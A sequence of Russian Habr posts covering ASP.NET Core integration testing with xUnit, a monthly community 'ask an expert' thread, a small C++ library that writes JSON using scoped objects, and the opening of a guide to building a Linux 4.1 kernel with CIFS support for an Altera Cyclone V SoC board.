мной модульному тесту. Многие коллеги используют термин «моки» (mocks или заглушки) для обозначения этого типа данных. Есть много способов сгенерировать моки данных для модульных тестов, и я надеюсь, что вы создадите как можно более «реальный» набор данных. Чем лучше ваши данные, которые вы создадите для своих тестов, тем лучше будет ваш тест. Я бы посоветовал вам в первую очередь убедиться, что ваши данные свободны от проблем с приватностью и не содержат личных или конфиденциальных данных вашей компании или вашего клиента. Чтобы удовлетворить нашу потребность в чистых, стабильных данных, я создаю уникальные проекты, которые инкапсулируют моки данных для моих Unit Test проектов. В целях наглядности назовем мой проект с моками Chinook.MockData (как вы можете видеть в исходном демонстрационном коде). Мой MockData проект почти идентичен моему обычному проекту Chinook.Data. Он имеет одинаковое количество репозиториев данных, и каждый из них реализует одни и те же интерфейсы. Я хочу, чтобы MockData проект хранился в контейнере внедрения зависимостей (Dependency Injection — DI), чтобы проект Chinook.Domain мог использовать его так же, как проект Chinook.Data, подключенный к источнику производственных данных. Вот за что я люблю внедрение зависимостей. Это позволяет мне переключать Data проекты в конфигурации без каких-либо изменений в коде. Интеграционное тестирование: а это еще что за вид тестирования веб-API? ----------------------------------------------------------------------- После того, как мы выполнили и проверили модульные тесты для нашего веб-API ASP.NET Core, мы рассмотрим другой тип тестирования. Я использую модульное тестирование, чтобы проверить и подтвердить ожидания в отношении внутренних компонентов решения. Когда мы удовлетворены качеством внутренних тестов, мы можем перейти к тестированию API из внешнего интерфейса, что и называется интеграционным тестированием. Интеграционные тесты следует писать и выполнять после завершения работы над всеми компонентами, чтобы ваше API могло быть использовано с правильным HTTP-ответом для проверки. Я смотрю на модульные тесты как на тестирование независимых и изолированных сегментов кода, в то время как интеграционные тесты используются для тестирования всей логики каждого API на моем HTTP эндпоинте. Это тестирование будет исследовать весь рабочий процесс API от контроллеров API проектов до супервизоров Domain проектов и, наконец, репозиториев Data проектов (и весь путь обратно до ответа). ### Создание проекта для интеграционного тестирования Приобретенные на данный момент знания о тестировании пригодятся и здесь - мы реализуем функционал интеграционного тестирования на основе уже имеющихся у нас библиотек модульного тестирования. Я буду использовать xUnit для создания своих интеграционных тестов. После того, как мы создали новый тестовый проект xUnit с именем *Chinook.IntegrationTest*, нам нужно будет добавить соответствующий пакет NuGet. Добавьте пакет `Microsoft.AspNetCore.TestHost` в проект *Chinook.IntegrationTest*. Этот пакет содержит ресурсы, необходимые для выполнения интеграционного тестирования. ![Рисунок 2: Добавление пакета NuGet Microsoft.AspNetCore.TestHost](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/db9/786/9f7/db97869f79aac05f41284bde55fe959a.jpg "Рисунок 2: Добавление пакета NuGet Microsoft.AspNetCore.TestHost")Рисунок 2: Добавление пакета NuGet Microsoft.AspNetCore.TestHostТеперь мы можем перейти к созданию нашего первого интеграционного теста для внешней проверки нашего API. ### Создание вашего первого интеграционного теста Чтобы начать внешнее тестирование всех API в нашем солюшене, я собираюсь создать новую папку под названием API, в которой будут храниться наши тесты. Я также создам новый тестовый класс для каждого из типов сущностей (Entity) в нашем домене API. Наш первый интеграционный тест будет покрывать тип сущности «Album». Создайте в папке API новый класс с именем *AlbumAPITest.cs*. Теперь мы добавим в наш файл следующие пространства имен. ``` using Xunit; using Chinook.API; using Microsoft.AspNetCore.TestHost; using Microsoft.AspNetCore.Hosting; ``` ![Рисунок 3: Интеграционный тест с использованием директив](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/866/78d/2bc/86678d2bc340ce227e237189d48984bf.jpg "Рисунок 3: Интеграционный тест с использованием директив")Рисунок 3: Интеграционный тест с использованием директивДля выполнения тестов нам нужно настроить в нашем классе `TestServer` и `HttpClient`. Нам нужна приватная переменная с именем *\_client* типа `HttpClient`, которая будет создана на основе TestServer, инициализированного в конструкторе класса `AlbumAPITest`. TestServer — это обертка для небольшого веб-сервера, созданного на основе класса `Startup Chinook.API` и желаемой среды разработки. В этом случае я использую среду разработки Development. Теперь у нас есть веб-сервер, на котором работает наш API, и клиент, который понимает, как вызывать API в TestServer. Теперь мы можем писать код для интеграционных тестов. ![Рисунок 4: Наш первый интеграционный тест для получения всех альбомов](https://habrastorage.org/getpro/habr/upload_files/d51/c1b/53c/d51c1b53c98364dcd5e047557af1da9d "Рисунок 4: Наш первый интеграционный тест для получения всех альбомов")Рисунок 4: Наш первый интеграционный тест для получения всех альбомовПомимо кода конструктора, на рисунке 4 также показан код для нашего первого интеграционного теста. Метод `AlbumGetAllTestAsync` проверит, работает ли вызов из API для получения всех альбомов. Как и в предыдущем разделе, где мы обсуждали модульное тестирование, логика нашего интеграционного тестирования также использует паттерн Arrange/Act/Assert. Сначала мы создаем объект `HttpRequestMessage` с HTTP-командой, предоставляемой в виде переменной из аннотации InlineData, и сегментом URI, который представляет вызов для запроса всех альбомов («/api/Album/»). Затем мы попросим \_client HttpClient отправить HTTP-запрос, и, наконец, мы проверим, соответствует ли HTTP-ответ нашим ожиданиям, которые в данном случае — 200 OK. На рисунке 4 я показал два способа проверить наш вызов API. Вы можете использовать любой из них, но я предпочитаю второй способ, поскольку он позволяет мне использовать тот же шаблон для проверки ответов для определенных кодов HTTP-ответов. ``` response.EnsureSuccessStatusCode(); Assert.Equal(HttpStatusCode.OK, response.StatusCode); ``` Мы также можем создавать интеграционные тесты, которые должны проверять определенные ключи сущностей из нашего API. Для этого типа тестов нам нужно добавить дополнительное значение в аннотацию InlineData, которая будет передаваться через параметры метода AlbumGetTestAsync. Наш новый тест следует той же логике и использует те же ресурсы, что и предыдущий, но мы еще должны передать ключ сущности в сегменте URI для объекта HttpRequestMessage. Код вы можете увидеть на рисунке 5. ![Рисунок 5: Второй интеграционный тест для сущности Album](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/7f3/363/525/7f33635257badfb30c07b016691f5a43.jpg "Рисунок 5: Второй интеграционный тест для сущности Album")Рисунок 5: Второй интеграционный тест для сущности AlbumПосле того, как вы написали все интеграционные тесты, вам нужно будет запустить их через Test Runner и убедиться, что все они пройдены. Все созданные вами тесты также могут быть выполнены в рамках DevOps во время процесса непрерывной интеграции (Continuous Integration - CI) — для автоматического тестирования вашего API в течение всего процесса разработки и развертывания. Что ж, теперь у вас есть представление о том, что нужно делать, чтобы ваш API хорошо проверялся и поддерживался на этапах разработки, проверки качества и развертывания, чтобы пользователи API могли работать без ненужных происшествий. ![Рисунок 6: Выполнение интеграционных тестов в Visual Studio 2017](https://habrastorage.org/getpro/habr/upload_files/238/317/a3b/238317a3bd669dc4ea0bd4e19b477504 "Рисунок 6: Выполнение интеграционных тестов в Visual Studio 2017")Рисунок 6: Выполнение интеграционных тестов в Visual Studio 2017### Заключение Наличие хорошо продуманного плана тестирования, использующего как модульное тестирование для проверки внутренних компонентов, так и интеграционное тестирование для проверки внешних вызовов API, так же важно, как и архитектура вашего веб-API ASP.NET Core. --- > [**Узнать подробнее**](https://otus.pw/04Oe/) **о курсе "C# ASP.NET Core разработчик". Посмотреть запись открытого урока "Разработка GraphQL API на ASP.NET Core" можно** [**здесь.**](https://otus.pw/scni/) > >
https://habr.com/ru/post/529576/
null
ru
null
# Фуршет ноября Без предварительных ласк, продолжим наш фуршет? :) В этом месяце решил сделать его в будний день, чтобы было время пообщаться сегодня-завтра, а не один день перед выходными. **Правила те же:** в комментариях первого уровня одни пользователи пишут, в какой теме они разбираются и готовы поотвечать на вопросы в комментариях второго уровня. Не обязательно что-то из IT — приветствуются любые профи, везде есть интересное! **Фуршет ноября объявляется открытым!** ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/171/fbd/804/171fbd8040183a6661c7f6b80edefdd8.jpeg)А на днях расскажу, что поменялось на Хабре за ноябрь. ### Участники ноября Жмите ниже на интересующую тему и пишите вопрос по ней: * [Балконных дел мастер / ТСЖ в МКД / Кресла Herman Miller Aeron/Embody / Лазерная коррекция зрений ReLEx Smile спустя 4 года](https://habr.com/ru/company/habr/blog/702066/comments/#comment_24957816) * [Молодёжное предпринимательство](https://habr.com/ru/company/habr/blog/702066/comments/#comment_24957824) * [Квантовая физика: компьютеры, гравитационные волны, тёмная материя](https://habr.com/ru/company/habr/blog/702066/#comment_24957942) * [Теория музыки (кандидатская степень)](https://habr.com/ru/company/habr/blog/702066/#comment_24958002) * [Комиксы](https://habr.com/ru/company/habr/blog/702066/#comment_24958028) * [«Честный знак» и всё, что связано с маркировкой](https://habr.com/ru/company/habr/blog/702066/#comment_24958292) * [Всё про теплоснабжение: котельные установки, тепло- и электростанции](https://habr.com/ru/company/habr/blog/702066/#comment_24958620) * [Написание поста на Хабр, удалённая работа](https://habr.com/ru/company/habr/blog/702066/#comment_24958882) * [Получил PhD в штатах, готов поделиться опытом](https://habr.com/ru/company/habr/blog/702066/#comment_24958998) * [Haskell / зависимые типы / жизнь в штатах](https://habr.com/ru/company/habr/blog/702066/comments/#comment_24959038) * [MediaWiki, Semantic MediaWiki, корпоративные базы данных](https://habr.com/ru/company/habr/blog/702066/comments/#comment_24959448) * [Свободный контент. Википедия, Викисклад, Викитека, Викиновости](https://habr.com/ru/company/habr/blog/702066/comments/#comment_24959472) * [Научный работник (нейронауки, НИИ) / Покупка б/у авто](https://habr.com/ru/company/habr/blog/702066/comments/#comment_24959488) * [Химик в области органического синтеза](https://habr.com/ru/company/habr/blog/702066/comments/#comment_24959896) * [Продукция автопрома СССР и её эксплуатация/реставрация](https://habr.com/ru/company/habr/blog/702066/comments/#comment_24959898) * [Ездил на многих современных электромобилях](https://habr.com/ru/company/habr/blog/702066/comments/#comment_24960072) * [Встраиваемые системы. Разработка комплексов фотовидеофиксации нарушений ПДД](https://%D0%92%D1%81%D1%82%D1%80%D0%B0%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC%D1%8B%D0%B5%20%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%8B.%20%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0%20%D0%BA%D0%BE%D0%BC%D0%BF%D0%BB%D0%B5%D0%BA%D1%81%D0%BE%D0%B2%20%D1%84%D0%BE%D1%82%D0%BE%D0%B2%D0%B8%D0%B4%D0%B5%D0%BE%D1%84%D0%B8%D0%BA%D1%81%D0%B0%D1%86%D0%B8%D0%B8%20%D0%BD%D0%B0%D1%80%D1%83%D1%88%D0%B5%D0%BD%D0%B8%D0%B9%20%D0%9F%D0%94%D0%94) * [Ремонт электроники](https://habr.com/ru/company/habr/blog/702066/#comment_24961214) * [Радары](https://habr.com/ru/company/habr/blog/702066/#comment_24961446) * [Пирамида Маслоу](https://habr.com/ru/company/habr/blog/702066/#comment_24974948) Не забывайте плюсовать участников! --- Заходите в комментарии к прошлому фуршету — есть все шансы пообщаться по темам прошлого месяца. Участники октября* [Балконных дел мастер / ТСЖ в МКД, организация жильцов](https://habr.com/ru/company/habr/blog/691826/#comment_24793312) * [Написание статьи на Хабр и всё, что с этим связано](https://habr.com/ru/company/habr/blog/691826/#comment_24793476) * [Свободный контент. Википедия, Викисклад, Викитека, Викиновости. Создание и использование свободного контента.](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24793632) * [Реактивное программирование, автоматизация жизненных циклов. Бесконфликтные алгоритмы управления общим состоянием, offline-first, optimistic-ui, wait-free и тд. Фронтенд и всё с ним связанное. Настоящий серверлес.](https://habr.com/ru/company/habr/blog/691826/#comment_24793638) * [Профессиональная ретушь и цветокоррекция. 20+ лет в полиграфии. Верстка, допечатная подготовка, контроль печати и тд.](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24793644) * [Рентгеновский неразрушающий контроль в промышленности](https://habr.com/ru/company/habr/blog/691826/#comment_24793750) * [Маркировка товаров](https://habr.com/ru/company/habr/blog/691826/#comment_24793758) * [Любые вопросы по on-prem Jira и Confluence. Java API.](https://habr.com/ru/company/habr/blog/691826/#comment_24793822) * [Жизнь, политика, лайфхаки и прочие вопросы о Германии и про Германию](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24793982) * [Встроенные линуксы, низкоуровневое сетевое программирование, жизнь на Изумрудном острове](https://habr.com/ru/company/habr/blog/691826/#comment_24794000) * [Тепловые потери, энергоэффективность, тепловизоры и энергоресурсы](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24794096) * [Встраиваемые системы. Разработка комплексов фотовидеофиксации нарушений ПДД.](https://habr.com/ru/company/habr/blog/691826/#comment_24794144) * [Сетевые технологии и импортозамещение в них. Практическая стрельба (IPSC, преимущественно пистолет).](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24794202) * [Дизайнер и тех.директор со стажем. Angular (Ionic, Capacitor), С++ (Qt), Работа с инкассацией, DevSecOps, всё об организации работы команды.](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24794212) * [Промышленные аддитивные технологии (металлы)](https://habr.com/ru/company/habr/blog/691826/#comment_24794502) * [on-prem Opensearch, переваривающий больше 4ТБ логов в сутки](https://habr.com/ru/company/habr/blog/691826/#comment_24794514) * [Биолог из НИИ, прикладные исследования болезни Паркинсона, вопросы по нейронаукам](https://habr.com/ru/company/habr/blog/691826/#comment_24794562) * [Портативные и автономные 3D dual screen стерео-очки для просмотра 2D- и 3D-фильмов](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24794828) * [MediaWiki, Semantic MediaWiki и всё, что связано с корпоративными базами знаний](https://habr.com/ru/company/habr/blog/691826/#comment_24795758) * [#бинарныйяд и последние достижения в этой теме](https://habr.com/ru/company/habr/blog/691826/#comment_24796062) * [Процесс подписи драйверов для Windows в Microsoft: HCK, HLK, WLK, WHQL, тестирование, аттестация. Вирусный анализ windows малвары, threat intel.](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24796858) * [Разные аспекты в бизнес и системной аналитике](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24797120) * [Танцы](https://habr.com/ru/company/habr/blog/691826/comments/#comment_24797304) * [SWIFT (и другой финтек для обычного человека)](https://habr.com/ru/company/habr/blog/691826/#comment_24798582) * [Домашнее (дачное) видеонаблюдение](https://habr.com/ru/company/habr/blog/691826/#comment_24798584) * [Камунда 7. Написание романа и работа с текстом. Австрия и её культура.](https://habr.com/ru/company/habr/blog/691826/#comment_24800324) Участники сентября* [Балконных дел мастер](https://habr.com/ru/company/habr/blog/686072/#comment_24689620) (обустройство балкона в рабочее место) * [Полупроводниковое производство](https://habr.com/ru/company/habr/blog/686072/#comment_24690070) * [Написание статьи на Хабр и всё, что с этим связано](https://habr.com/ru/company/habr/blog/686072/#comment_24690132) * [Oracle, PL/SQL, APEX](https://habr.com/ru/company/habr/blog/686072/#comment_24690180) * [Любые вопросы о хостинге](https://habr.com/ru/company/habr/blog/686072/#comment_24690286) * [Выбор, внедрение, адаптация и смысл CRM-систем](https://habr.com/ru/company/habr/blog/686072/#comment_24690298) * [Разработка встраиваемых систем](https://habr.com/ru/company/habr/blog/686072/#comment_24690496) * [Политика](https://habr.com/ru/company/habr/blog/686072/#comment_24690748) (не забываем про правила): европейская/США/Израильская — выборы (системы, опросы, прогнозы, нарушения, формирование коалиций). Рынки/биржи политических прогнозов, представление политических процессов в фильмах, сериалах и играх. Wisdom of the crowd. * [Дизайн и производство... матрасов](https://habr.com/ru/company/habr/blog/686072/#comment_24690886) * [Прочностные расчеты, авиадвигатели и виброзащита](https://habr.com/ru/company/habr/blog/686072/#comment_24690922) * [Программист с 20 летним стажем, специалист по сложным задачам](https://habr.com/ru/company/habr/blog/686072/#comment_24691108) * [Системы управления, ТАУ, научные исследования и публикации](https://habr.com/ru/company/habr/blog/686072/#comment_24691502) * [Высшее образование / аспирантура в Китае](https://habr.com/ru/company/habr/blog/686072/#comment_24691690) * [Ремонт фотоаппаратов: практикующий специалист частник](https://habr.com/ru/company/habr/blog/686072/#comment_24691960) * [Физик](https://habr.com/ru/company/habr/blog/686072/#comment_24692050) [(квантовая оптика и гравитационные волны)](https://habr.com/ru/company/habr/blog/686072/#comment_24692050): квантовая физика, космология, гравитация. Состояние науки, жизнь учёных в Европе. * [Сети передачи данных и всё, что с ними связано, в том числе ИБ. СКС](https://habr.com/ru/company/habr/blog/686072/#comment_24692368). * [Энергоэффективность и энергосбережение, тепловые потери, тепловизоры, энергоресурсы и всё, что вокруг этого](https://habr.com/ru/company/habr/blog/686072/#comment_24697630) Так, а что это вообще и зачем?#### Что Cмысл мероприятия предельно простой: в комментариях первого уровня любой пользователь может написать, в какой теме он прям хорош и готов поотвечать на вопросы остальных. А все остальные задают свои вопросы по этой теме в комментариях второго уровня. Даже если то, в чём вы разбираетесь, не совсем про IT. Машинист поезда? Настройщик лифтов? Возводите мачты связи в горной местности? Проектируете фонтаны? Скорее в комментарии! #### Зачем Пообщаться. Если почитать старые фуршеты ([раз](https://habr.com/ru/post/58132/), [два](https://habr.com/ru/post/66674/), [три](https://habr.com/ru/post/72025/)) и в целом старый Хабр, то можно заметить, что тогда общались гораздо больше. Со временем Хабр взрослел, вместе с ним взрослели обсуждаемые темы, формат заметок эволюционировал в лонгриды… а желание общаться в пирамиде Маслоу как была, так и осталась :) «Нормально же общались» — давайте попробуем, как в былые времена? Тем более сегодня пятница! #### Когда Прямо сейчас, в комментариях к этому посту. По мере появления комментариев первого уровня я буду обновлять этот пост, вставляя ссылки на них. > Нашли опечатку в тексте? Выделите и нажмите `CTRL/⌘+Enter`. > >
https://habr.com/ru/post/702066/
null
ru
null
# Запись данных в формате JSON #### Запись данных в формате JSON В одной из моих программ понадобилась запись данных в формате [JSON](http://json.org/json-ru.html). Вкратце — XML-подобный формат, вполне подходит на замену Windows INI-файлам или тому же XML. Удобен тем, что поддерживает массивы и вложенность собственных структур, но при этом не замусоривает файл данных своими тегами до полной нечитабельности человеком. Вот пример файла данных: ``` { "Comment":"My comment", "Count":10, "DiskParam": { "DB":10.000000, "DBAngle":1.234000 }, "Range":true, "Blades": [ { "Caption":"A", "Value":65 }, { "Caption":"B", "Value":66 }, { "Caption":"C", "Value":67 } ], "Slots": [ 0,1,2 ] } ``` Формат довольно простой, вполне можно работать с ним без всяких библиотек. Поэтому первоначально за запись отвечал примерно такой участок кода: ``` fprintf(pOut, "{\n"); fprintf(pOut, " \"Comment\":\"%s\"", Header->Comment); fprintf(pOut, ",\n \"NumSt\":%d", Header->NumSt); //Пропущено немного кода fprintf(pOut, ",\n \"DBMax\":%lf", Header->DBMax); fprintf(pOut, ",\n \"Range\":%s", Header->Range?"true":"false"); fprintf(pOut, ",\n \"Blades\":\n ["); for(int i=0; iCount; i++) { TElement &e=Element[i]; fprintf(pOut, i?",\n {":"\n {"); fprintf(pOut, "\"Caption\":\"%s\"", e.Caption); fprintf(pOut, ",\"Value\":%lf", e.BaseChar); fprintf(pOut, "}"); } fprintf(pOut, "\n ]"); //Пропущено много кода fprintf(pOut, "\n}"); ``` Корявенько, хотя вполне работоспособно. Но программа активно дорабатывалась, формат данных менялся по 5 раз на дню и остро встала проблема отслеживания всех изменений. Несмотря на некоторое форматирование исходника было тяжело не забыть закрыть какой-нибудь тег или правильно напечатать нужное число пробелов для форматирования уже собственно файла данных. Даже в приведенном фрагменте перед публикацией обнаружилась ошибка, не ставилась запятая между элементами массива. Решил я этот техпроцесс слегка механизировать и создать микробиблиотеку для работы с JSON. Что я хотел? Чтобы в своей программе я писал что-то на псевдоязыке: ``` Key("Ключ1"); Value("Значение1"); Key("Ключ2"); Value("Значение2"); Object("Объект1"); Key("Ключ3"); Value("Значение3"); //Ключ3,Ключ4 являются элементами Объект1 Key("Ключ4"); Value("Значение4"); Array("Массив1"); Key("Ключ5"); Value("Значение5"); //Ключ5...КлючN являются элементами Массив1 Key("Ключ6"); Value("Значение6"); ... Key("КлючN"); Value("ЗначениеN"); ``` А компилятор/программа пусть сами учтут отступы, которые определяют структуру файла данных. В нужный момент подставят открывающий и, главное, закрывающий тег. Дело осложнялось тем, что внутри этого скрипта хотелось использовать конструкции C++, например циклы внутри массивов. После нескольких дней непрерывной мозговой осады этой проблемы нашлось довольно изящное решение. Для контроля за вложением друг в друга JSON-сущностей и своевременного закрытия тегов используется область видимости переменных. Все очень просто, создается экземпляр одного из классов TJson\*\*\* — записывается ключ и открывающий тег и все следующие созданные объекты считаются его вложениями. Уничтожается экземпляр — ставится закрывающий тег. ``` #define TCF_USED 1 class TTagCloser { public: TTagCloser *Owner; static TTagCloser *Current; static int Depth; int Flags; int Count; int operator()(){Flags^=TCF_USED; return Flags&TCF_USED;} TTagCloser(){Count=Flags=0; Owner=Current; Current=this; Depth++;} ~TTagCloser(){Depth--; Current=Owner;} }; TTagCloser *TTagCloser::Current=NULL; int TTagCloser::Depth=-1; ``` Простой класс, все назначение которого — временно связать порожденные объекты в некое подобие дерева. Для чего нужен перегруженный operator() будет понятно чуть позже. У этого класса есть наследник, в котором заложен базовый функционал записи в JSON-формате. Программист должен только переопределить функции Write\*\*\*. ``` #define TCF_OBJECT 4 #define TCF_ARRAY 2 class TJsonTagCloser:public TTagCloser { public: void WriteTab(); void WriteInt(int); void WriteDouble(double); void WriteStr(char *); TJsonTagCloser(char *Key); }; //---------------------------------------------------------------------------- TJsonTagCloser::TJsonTagCloser(char *Key):TTagCloser() { if(Owner) { if(Owner->Count) WriteStr(","); if(Owner->Flags&TCF_ARRAY) { if(!Owner->Count) WriteTab(); } else { WriteTab(); WriteStr("\""); if(Key) WriteStr(Key); WriteStr("\":"); } Owner->Count++; } } ``` Функция WriteTab() введена в программу удобства гиков, любящих лазить в файлы данных «Блокнотом». Она должна записать в файл данных перевод строки и число пробелов, соответствующее глубине вложения (TTagCloser::Depth). Если бы форматирование не было нужно, то функция выродилась бы в WriteTab(){;}. У меня в тестовом примере функции Write\*\*\* определены так: ``` #include void TJsonTagCloser::WriteTab(){printf("\n%\*s", Depth\*2, "");} void TJsonTagCloser::WriteInt(int Value){printf("%d", Value);} void TJsonTagCloser::WriteDouble(double Value){printf("%lf", Value);} void TJsonTagCloser::WriteStr(char \*Value){printf("%s", Value);} ``` JSON-формат предполагает наличие в потоке данных Объектов (смахивают на СИшные структуры), Массивов (они и в Африке массивы) и просто пар «Ключ: Значение». Все это многообразие может быть перемешано и вложено друг в дружку, например в паре «Ключ: Значение» Значением может быть Массив Объектов. Для работы с этими сущностями созданы следующие классы: ``` class TJsonArray:public TJsonTagCloser { public: TJsonArray(char *Key); ~TJsonArray(); }; class TJsonObject:public TJsonTagCloser { public: TJsonObject(char *Key); ~TJsonObject(); }; class TJsonValue:public TJsonTagCloser { public: TJsonValue(char *Key, int Value):TJsonTagCloser(Key){WriteInt (Value);} TJsonValue(char *Key, double Value):TJsonTagCloser(Key){WriteDouble(Value);} TJsonValue(char *Key, bool Value):TJsonTagCloser(Key){WriteStr((char *)(Value?"true":"false"));} TJsonValue(char *Key, char *Value); }; TJsonArray::TJsonArray(char *Key):TJsonTagCloser(Key) { Flags|=TCF_ARRAY; if(Owner && (!(Owner->Flags&TCF_ARRAY) || Owner->Count>1)) WriteTab(); WriteStr("["); } TJsonArray::~TJsonArray() { WriteTab(); WriteStr("]"); } //---------------------------------------------------------------------------- TJsonObject::TJsonObject(char *Key):TJsonTagCloser(Key) { Flags|=TCF_OBJECT; if(Owner && (!(Owner->Flags&TCF_ARRAY) || Owner->Count>1)) WriteTab(); WriteStr("{"); } TJsonObject::~TJsonObject() { WriteTab(); WriteStr("}"); } TJsonValue::TJsonValue(char *Key, char *Value):TJsonTagCloser(Key) { if(Value) { WriteStr("\""); WriteStr(Value); WriteStr("\""); } else WriteStr("null"); } ``` Для удобства использования библиотеки в своей программе определены макросы: ``` #define ARRAY(k) for(TJsonArray array(k); array();) #define OBJECT(k) for(TJsonObject object(k); object();) #define VALUE(k,v) {TJsonValue value(k,v);} ``` Вот и добрались до перегруженного operator(). Он нужен для однократного выполнения тела цикла for, то есть в первый вызов он возвращает true, а в последующие — false. А вот так в теле программы выглядит скрипт, на котором пишется заполнение файла данных: ``` void main() { OBJECT("") { VALUE("Comment", "My comment"); VALUE("Count", 10); OBJECT("DiskParam") { VALUE("DB", 10.0); VALUE("DBAngle", 1.234); } VALUE("Range", true); ARRAY("Blades") { for(int i='A'; i<'A'+3; i++) OBJECT("") { VALUE("Caption", (char *)&i); VALUE("Value", i); } } ARRAY("Slots") for(int i=0; i<3; i++) VALUE("", i); } } ``` Как выглядит сформированный этой программой JSON-файл можно посмотреть в начале статьи. Все запятые проставлены, все скобочки закрыты когда нужно, в каждой строке нужное количество ведущих пробелов — красота!
https://habr.com/ru/post/230079/
null
ru
null
# Обновление Linux в устройстве на базе чипа Altera SoC FPGA и получение доступа к расшаренным ресурсам Windows-сервера [![](https://habrastorage.org/r/w780q1/files/878/c5b/06c/878c5b06c4b14fe88135f09a53de8a35.jpg)](http://habrahabr.ru/post/264515/) Недавно компания **Terasic** начала продажи весьма интересной платы [**DE0-Nano-SoC Kit**](http://www.terasic.com.tw/cgi-bin/page/archive.pl?Language=English&CategoryNo=205&No=941). Интересна она тем, что за весьма скромную цену предлагается очень мощный и функционально-насыщенный комплект разработчика на основе чипа Altera Cyclone V SoC FPGA со встроенным двухъядерным процессором ARM Cortex-A9. Кроме того, производитель в комплекте с платой даёт ОС Linux, развёрнутую на карту памяти MicroSD. Но получив эту плату в своё распоряжение, я довольно быстро наткнулся на несколько проблем, обусловленых тем, что Linux был скомпилирован из исходников **Yocto Project**. В основном все проблемы были связаны с отсутствием общедоступных репозиториев, из которых можно было бы добавить в систему недостающие компоненты. Например, для того, чтобы получить доступ с этого устройства через сеть к расшаренным ресурсам Windows-сервера, в ядре не хватало модуля поддержки файловой системы Cifs. Поэтому прежде всего было решено обновить ядро, заменить Yocto на более привычный Debian Wheezy и доустановить всё, что необходимо для доступа к расшаренным ресурсам Windows-сервера. Процесс сборки изучался мной и выполнялся следуя рекомендациям из [этой статьи](http://habrahabr.ru/company/metrotek/blog/235707/), за что её автору [Des333](https://habrahabr.ru/users/des333/) огромное спасибо! Полная переделка в мои планы не входила, поэтому загрузчики на карточке было решено оставить родные — от образа Linux 3.13, идущего в комплекте с платой. Так что раздел с типом A2 было решено не трогать совсем. Задачи ------ * Обновить ядро Linux * Заменить RootFS на Debian 7 * Доточить образ так, чтобы его можно было апдейтить из Интернета * Примонтировать директорию, расшаренную на сервере Windows Сборка ядра ----------- Так как основной моей рабочей средой по жизни является Windows, то все действия по сборке Linux выполнялись из-под ОС Linux Mint 17.2 Cinnamon, установленной на виртуальную машину. 1. Запускаем терминалку и входим в root-режим — чтобы не набирать каждый раз команду sudo: ``` sudo -i ``` При этом /root будет нашей домашней директорией — всё будем делать в ней. 2. Компилировать ядро будем с помощью кросс-компилятора, входящего в пакет Altera SoC Embedded Design Suite (EDS). Поэтому скачиваем и устанавливаем самый свежий пакет Altera SoC EDS. На данный момент времени Altera SoC EDS имеет версию 15.0. Скачать этот пакет можно прямо с [сайта Альтеры](http://dl.altera.com/?edition=subscription&platform=linux). Altera SoC EDS установится в директорию /root/altera/15.0. 3. Устанавливаем build-essential: ``` apt-get install build-essential ``` 4. Установливаем libncurses: ``` apt-get install libncurses5-dev ``` 5. Скачиваем исходники linux-socfpga из репозиториев Альтеры и распаковываем их в домашнюю директорию: * Заходим в [релизы linux-socfpga в репозиториях Альтеры](https://github.com/altera-opensource/linux-socfpga/releases) * Находим нужный релиз. Я выбрал версию 4.1 — так как это была самая свежая стабильная версия на данный момент времени * Скачиваем архив с исходниками * Распаковываем исходники в домашнюю директорию В результате появляется директория /root/linux-socfpga-4.1 с исходниками ядра Linux версии 4.1. **Поправка** (11.02.2016): > Нужно брать не **master** и не **tags** а бренчи **socfpga-\***. > > Например, [socfpga-4.3](https://github.com/altera-opensource/linux-socfpga/tree/socfpga-4.3) > > Именно туда накладывают патчи с нужной для SoC функциональностью. > > Поэтому за исходниками нужно заходить [сюда](https://github.com/altera-opensource/linux-socfpga/branches). Большое спасибо [Des333](https://habrahabr.ru/users/des333/) за подсказку! 6. Запускаем альтеровский скрипт, который запустит новый BASH и подправит в нём некоторые переменные окружения (например, PATH). Все действия по компиляции будем проводить не выходя из этого BASH: ``` cd /root/altera/15.0/embedded ./embedded_command_shell.sh ``` 7. Создаём несколько переменных окружения: ``` export ARCH=arm export CROSS_COMPILE=arm-linux-gnueabihf- export LOADADDR=0x8000 ``` 8. Создаём дефолтную конфигурацию для socfpga: ``` cd /root/linux-socfpga-4.1 make socfpga_defconfig ``` При этом будет создан конфигурационный файл .config, заточенный для компиляции под ARM. 9. Добавляем недостающие компоненты в конфигурацию ядра (или удаляем лишние): ``` make menuconfig ``` **При этом откроется псевдографическое окно с менюшками.**![](https://habrastorage.org/files/29d/96c/154/29d96c1546944733bc8b48540dc32cc8.gif) Нам нужно добавить драйвер файловой системы **CIFS** — чтобы иметь возможность заходить на сетевые расшаренные ресурсы. Существует два способа добавления драйверов в систему — добавить прямо в ядро или добавить в виде внешних подключаемых модулей. Итак, идём по пути **File Systems -> Network File Systems**, становимся на **CIFS Support** и нажимаем клавишу пробел — напротив строки **CIFS Suport** должна появиться буква **M** — значит будет использоваться подключаемый внешний модуль. Нужно будет позднее скомпилировать его отдельно и положить в директорию внешних модулей. Если же нажать клавишу пробел ещё раз, то буква **M** изменится на символ звёздочки — значит драйвер будет встроен прямо в ядро. **Примечание**: в дальнейшем, при проверке работоспособности системы, выяснилось, что внешний модуль cifs крэшится при попытке копирования файла с расшаренного диска сервера Windows. Встроенный же в ядро драйвер cifs работал совершенно нормально. Хотя при использовании внешних модулей с другими версиями ядра (например, 3.19) подобных проблем не возникало. Причину происходящего мне так и не удалось выяснить. Также нужно включить поддержку **HighMem** — иначе система не сможет использовать верхние 256 мегабайт ОЗУ. Для этого идём по пути **Kernel Features -> High Memory Support** и также нажимаем клавишу пробел. Выходим из меню — нажимаем **EXIT** пока не выйдем. На вопрос — надо ли сохранять конфигурацию 